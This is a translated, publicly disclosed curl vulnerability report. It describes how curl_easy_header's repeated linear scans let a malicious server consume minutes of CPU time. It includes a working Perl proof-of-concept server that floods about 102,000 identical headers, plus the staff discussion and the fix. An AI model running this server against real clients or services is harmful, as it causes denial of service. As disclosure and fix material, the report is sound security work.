curl_easy_header 函数存在 O(N) 复杂度问题,可被恶意利用消耗大量 CPU 时间

本文详细分析了 curl_easy_header 函数在处理恶意服务器返回大量相同键名头信息时的性能问题,该问题可导致 CPU 时间被大量消耗,甚至长达数分钟,并提供了复现步骤和修复方案。

curl_easy_header 运行复杂度为 O(N) 或更差,可被滥用消耗数分钟 CPU 时间

摘要

curl_easy_header 的实现可被恶意服务器滥用,该服务器将所有头信息置于单一键下。例如服务器响应如下:

1
2
3
4
5
6
HTTP/1.1 200 OK
a:
a:
a:
a:
[重复直到达到 MAX_HTTP_RESP_HEADER_SIZE 字节]

作为开发者,如果您想遍历头信息,通常会这样做(取自 tests/libtest/lib1940.c):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
if(CURLHE_OK == curl_easy_header(easy, testdata[i], 0, CURLH_HEADER, HEADER_REQUEST, &header)) {
  if(header->amount > 1) {
    /* 多于一个,迭代遍历 */
    size_t index = 0;
    size_t amount = header->amount;
    do {
      curl_mprintf("- %s == %s (%u/%u)\n", header->name, header->value,
                   (int)index, (int)amount);

      if(++index == amount)
        break;
      if(CURLHE_OK != curl_easy_header(easy, testdata[i], index, CURLH_HEADER,
                                       HEADER_REQUEST, &header))
        break;
    } while(1);
  }
  else {
    /* 仅有一个 */
    curl_mprintf(" %s == %s\n", header->name, header->value);
  }
}

每次调用 curl_easy_header 都会遍历每个条目,可能两次:首先计算具有该名称的所有头信息的数量,然后查找请求的索引(lib/headers.c):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* 需要第一轮计算该头信息的数量 */
for(e = Curl_llist_head(&data->state.httphdrs); e; e = Curl_node_next(e)) {
  hs = Curl_node_elem(e);
  if(strcasecompare(hs->name, name) &&
     (hs->type & type) &&
     (hs->request == request)) {
    amount++;
    pick = hs;
    e_pick = e;
  }
}
if(!amount)
  return CURLHE_MISSING;
else if(nameindex >= amount)
  return CURLHE_BADINDEX;

if(nameindex == amount - 1)
  /* 如果请求的是最后一个或唯一一个出现,则我们知道它 */
  hs = pick;
else {
  for(e = Curl_llist_head(&data->state.httphdrs); e; e = Curl_node_next(e)) {
    hs = Curl_node_elem(e);
    if(strcasecompare(hs->name, name) &&
       (hs->type & type) &&
       (hs->request == request) &&
       (match++ == nameindex)) {
      e_pick = e;
      break;
    }
  }
}

根据硬件不同,这可能累积到数分钟或更长时间。

本报告未使用 AI 生成。

受影响版本

当前测试使用 git @ 283ad5c4320fa1d733e60a0dbe216ee36e3924fb

1
2
3
4
5
./src/curl -V
curl 8.14.0-DEV (x86_64-pc-linux-gnu) libcurl/8.14.0-DEV OpenSSL/3.0.2 zlib/1.2.11 libpsl/0.21.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets

复现步骤

以下是一个示例 Perl 服务器,可生成约 300k 的头信息,所有键均为 ‘a’ 且无值:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env perl
use strict;
use warnings;
use IO::Socket qw(AF_INET AF_UNIX SOCK_STREAM SHUT_RDWR);

# 仅生成大量空头信息,以便尽可能多地容纳,所有键相同:
#
# a:
# a:
# a:
# a:
# ...

# 超过此值 curl 会报错:
#
#   Too large response headers: 307204 > 307200
#
my $header_count = 102_390;

my $headers = join("\n", ("a:") x $header_count) . "\n";
my $hlen = length($headers);

print "Using: $hlen bytes for the header with $header_count entries\n\n";

my $server = IO::Socket->new(
  Domain    => AF_INET,
  Type      => SOCK_STREAM,
  Proto     => 'tcp',
  LocalHost => '0.0.0.0',
  LocalPort => 3333,
  ReusePort => 1,
  Listen => 5,
) || die "Can't open socket: $@";

print "Try http://127.0.0.1:3333\n\n";

while (1) {
  my $client = $server->accept();

  print "Got a client\n";

  # 读取请求并忽略
  my $data = "";
  $client->recv($data, 1024);

  print "Got a request: \n\n" . $data =~ s/^/  /gmr;

  $client->send("HTTP/1.1 200 OK\r\n");

  print "H: $hlen\n";
  while ($hlen > 0) {
    print "Sending a chunk of headers...\n";

    my $sent = $client->send($headers);

    unless (defined $sent) {
      die "  Failed to send? $!\n";
    }

    substr($headers, 0, $sent) = "";

    $hlen -= $sent;

    print "  ..sent $sent bytes\n";
  }

  $client->send("\nhi.\n");

  $client->shutdown(SHUT_RDWR);

  print "Responded\n\n";

  # 每次重置这些
  $headers = join("\n", ("a:") x $header_count) . "\n";
  $hlen = length($headers);
}

然后,如果您修改 lib1940.c 如下,可以尝试使用它:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
diff --git a/tests/libtest/lib1940.c b/tests/libtest/lib1940.c
index 16e288029..9efb0934d 100644
--- a/tests/libtest/lib1940.c
+++ b/tests/libtest/lib1940.c
@@ -27,7 +27,7 @@
 #include "memdebug.h"
 
 static const char *testdata[]={
-  "daTE",
+  "a",
   "Server",
   "content-type",
   "content-length",
1
2
3
4
5
6
7
$ time ./lib1940 http://localhost:3333 >/dev/null
[...]
Test ended with result 0

real	0m51.830s
user	0m51.580s
sys	0m0.214s

这也意味着 curl 本身受到影响,对于任何使用 –write-out ‘%{header_json%}’ 的人:

1
2
3
4
5
$ time ./src/curl --write-out '%{header_json}' http://localhost:3333 >/dev/null
[...]
real	1m28.856s
user	1m28.702s
sys	0m0.116s

影响

摘要: 我认为这个影响较低。您需要让某人使用 –write-out ‘%{header_json%}’ 访问您的服务器,或者有一个使用 curl_easy_header 迭代所有值的库。

单个请求遇到此问题将仅使用大量 CPU 约一分钟或更长时间,具体取决于硬件。除非您能强制某人发出许多请求并使用大量 CPU,否则损害似乎很小。

更大的问题可能是让像 cron 作业或其他同步进程等待的时间比预期要长得多。

评论时间线

  • dgustafsson (curl staff) 2025年5月7日 19:31 UTC:感谢报告。我同意我们可以做得更好,但感觉有点牵强称其为安全漏洞。
  • wolfsage 2025年5月7日 19:34 UTC:在公开列表发布并最终成为安全漏洞或私下发布之间,我宁愿选择更安全的选项。随您处理,谢谢。
  • dgustafsson (curl staff) 2025年5月7日 19:35 UTC:别误会,您绝对做了正确的事,我的评论不是对报告的批评,而是思考我们可以通过常规 PR 处理这个问题。我会等待团队更多意见。
  • jimfuller2024 (curl staff) 2025年5月7日 21:17 UTC:清晰的好报告(谢谢!)… 结合说服某人使用 –write-out 访问恶意服务器,可能通过并行请求使 curl 工具拒绝服务… 同意其他人的观点,这可能不符合安全问题的阈值,只是一个代码错误,但愿意保持开放心态… 我稍微调整了您的 Perl 服务器输出,但未能激发出更糟的情况。
  • wolfsage 2025年5月7日 21:51 UTC:是的,对于这种错误,我认为真正的风险是针对任何运行服务的地方,用户可输入 URL 来获取内容(如 icalendars 等)或 webhooks 等,并且服务提供商使用 libcurl 并使用 curl_easy_header 迭代所有头信息。
  • bagder (curl staff) 2025年5月7日 22:34 UTC:我提议的修复添加了每个传输最多 5,000 个头信息的限制:https://github.com/curl/curl/pull/17281
  • bagder (curl staff) 2025年5月8日 07:15 UTC:允许用户的“自定义” URL 邀请攻击者进行各种疯狂的恶作剧和恶意技巧,可以使传输变慢、停滞、浪费资源等。由于 curl 的性质,我不认为这种缓慢会显著改变风险集。我们认为这是一个“正常错误”,现已在 git 中修复。非常感谢报告和报告的高质量!
  • wolfsage 2025年5月8日 14:46 UTC:不客气,感谢大家的工作!
  • bagder (curl staff) 2025年6月28日 12:22 UTC:请求披露此报告。
  • bagder (curl staff) 2025年7月1日 14:07 UTC:披露此报告。

报告详情

  • 报告时间:2025年5月7日 19:25 UTC
  • 报告者:wolfsage
  • 报告对象:curl
  • 报告 ID:#3133253
  • 状态:信息性
  • 严重性:无评级 (—)
  • 披露时间:2025年7月1日 14:07 UTC
  • 弱点:不受控制的资源消耗
  • CVE ID:无
  • 赏金:无
  • 账户详情:无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计